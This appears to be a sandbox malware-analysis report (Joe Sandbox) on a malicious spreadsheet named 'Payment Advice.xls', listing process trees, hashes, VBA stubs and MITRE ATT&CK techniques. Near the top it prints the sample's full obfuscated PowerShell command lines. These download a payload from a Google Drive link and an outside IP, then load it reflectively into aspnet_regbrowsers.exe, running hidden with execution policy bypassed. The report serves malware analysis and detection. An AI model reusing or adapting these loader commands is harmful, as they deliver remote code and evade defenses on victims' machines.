Imagebase:	0xff6c0000
File size:	168'960 bytes
MD5 hash:	045451FA238A75305CC26AC982472367
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 4032, Parent PID: 3732

General

Target ID:	25
Start time:	13:47:03
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 252, Parent PID: 4032

General

Target ID:	27
Start time:	13:47:04
Start date:	25/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Imagebase:	0x13f230000
File size:	443'392 bytes
MD5 hash:	A575A7610E5F003CC36DF39E07C4BA7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: aspnet_regbrowsers.exePID: 3248, Parent PID: 1372

General

Target ID:	30
Start time:	13:47:27
Start date:	25/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Imagebase:	0xbc0000
File size:	45'160 bytes
MD5 hash:	04AA198D72229AEED129DC20201BF030
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

VBA Code

Call Graph

Graph

Entrypoint
Decryption Function
Executed
Not Executed
Show Help

Module: Sheet1

Declaration

Line	Content
1	Attribute VB_Name = "Sheet1"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet2

Declaration

Line	Content
1	Attribute VB_Name = "Sheet2"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: Sheet3

Declaration

Line	Content
1	Attribute VB_Name = "Sheet3"
2	Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Module: ThisWorkbook

Declaration

Line	Content
1	Attribute VB_Name = "ThisWorkbook"
2	Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
3	Attribute VB_GlobalNameSpace = False
4	Attribute VB_Creatable = False
5	Attribute VB_PredeclaredId = True
6	Attribute VB_Exposed = True
7	Attribute VB_TemplateDerived = False
8	Attribute VB_Customizable = True

Reset < >

Analysis Process: mshta.exePID: 3832, Parent PID: 564COMMON

Executed Functions

Function 030B0FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.434598600.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FA1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.434598600.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.434598600.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.434598600.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Function 030B0FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.434598600.00000000030B0000.00000010.00000800.00020000.00000000.sdmp, Offset: 030B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_30b0000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction ID: 5529fca36150f31da0b986077cb1f13732b68b0e978173cbfe1c7568bdb5f22f
Opcode Fuzzy Hash: 1634a2d688d49a259143009c50f36abdfda0d9cf4fcfe9a0a55bebbf17c78759
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3924, Parent PID: 3832COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	50%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 000007FE899A4B18 Relevance: 1.6, APIs: 1, Instructions: 129
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899A5B00

Memory Dump Source

Source File: 00000005.00000002.492334997.000007FE899A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe899a0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: bcbd07e12b2511d44ba4d745a0fe8f8ce19f7027ee5ec483427e6eff058fc9e5
Instruction ID: 3a1bae0e82e14d26b931a681228c2bc39d9dbd251094e0323ffffdfa924d2979
Opcode Fuzzy Hash: bcbd07e12b2511d44ba4d745a0fe8f8ce19f7027ee5ec483427e6eff058fc9e5
Instruction Fuzzy Hash: FA319131A18A5C8FDB58DF5C98857ADB7E1FB59711F00822ED04ED3661CB70A8058B81

Function 000007FE899A59F1 Relevance: 1.7, APIs: 1, Instructions: 159
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON ref: 000007FE899A5B00

Memory Dump Source

Source File: 00000005.00000002.492334997.000007FE899A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE899A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe899a0000_powershell.jbxd

Similarity

API ID: DownloadFile
String ID:
API String ID: 1407266417-0
Opcode ID: db173c4a69150a320a2f7a00e63a2d117a35e40b2a386b88e8286f526d1f77cb
Instruction ID: 4a49864bbae27da90d78aae7337e60e8ac1c7fef68cfabd94b62d5724f1b32a8
Opcode Fuzzy Hash: db173c4a69150a320a2f7a00e63a2d117a35e40b2a386b88e8286f526d1f77cb
Instruction Fuzzy Hash: 0641133191CB889FDB19DB589C447BABBF0FB56321F04826FD08DD7162CB246806C782

Function 000007FE89A726E9 Relevance: .7, Instructions: 711
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.492423197.000007FE89A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89a70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f8e6d4d3bb529a7135d574cc29ac8481b836e728b7b9996769fde58ed5c1c8
Instruction ID: a30aba036d8b09608f34ca8a0607838fcf8427720998281c6dde29f706543a46
Opcode Fuzzy Hash: 50f8e6d4d3bb529a7135d574cc29ac8481b836e728b7b9996769fde58ed5c1c8
Instruction Fuzzy Hash: F0221430A0CB894FE759DB2C84556787FE2FF9A344F2401EAD48ED72A3DA21AC55C741

Function 000007FE89A70F0D Relevance: .3, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.492423197.000007FE89A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 000007FE89A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fe89a70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88db78d1ae48b8b083e9bb991bda7b8890b006a625cf57bf59bbd4bf0601903
Instruction ID: 0bd9e028b5bee9f08e37d5127161079e9316510efe19e7bb961dbc8f781ed31c
Opcode Fuzzy Hash: d88db78d1ae48b8b083e9bb991bda7b8890b006a625cf57bf59bbd4bf0601903
Instruction Fuzzy Hash: E4A1E220A0DBC90FE347973C58646657FE1EF4B258B2941EBD48DCB1B3EA189C5AC352

Analysis Process: mshta.exePID: 3336, Parent PID: 564COMMON

Executed Functions

Function 03740FC1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.482475420.0000000003740000.00000010.00000800.00020000.00000000.sdmp, Offset: 03740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_3740000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: f201abe7171f7355a569887a4e886ae9346d34e3f13b4bc5fde32977cfccde01
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 03740FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.482475420.0000000003740000.00000010.00000800.00020000.00000000.sdmp, Offset: 03740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_3740000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: f201abe7171f7355a569887a4e886ae9346d34e3f13b4bc5fde32977cfccde01
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 03740FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.482475420.0000000003740000.00000010.00000800.00020000.00000000.sdmp, Offset: 03740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_3740000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: f201abe7171f7355a569887a4e886ae9346d34e3f13b4bc5fde32977cfccde01
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 03740FA1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.482475420.0000000003740000.00000010.00000800.00020000.00000000.sdmp, Offset: 03740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_3740000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: f201abe7171f7355a569887a4e886ae9346d34e3f13b4bc5fde32977cfccde01
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Function 03740FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000003.482475420.0000000003740000.00000010.00000800.00020000.00000000.sdmp, Offset: 03740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_3740000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction ID: f201abe7171f7355a569887a4e886ae9346d34e3f13b4bc5fde32977cfccde01
Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
Instruction Fuzzy Hash:

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Payment Advice.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

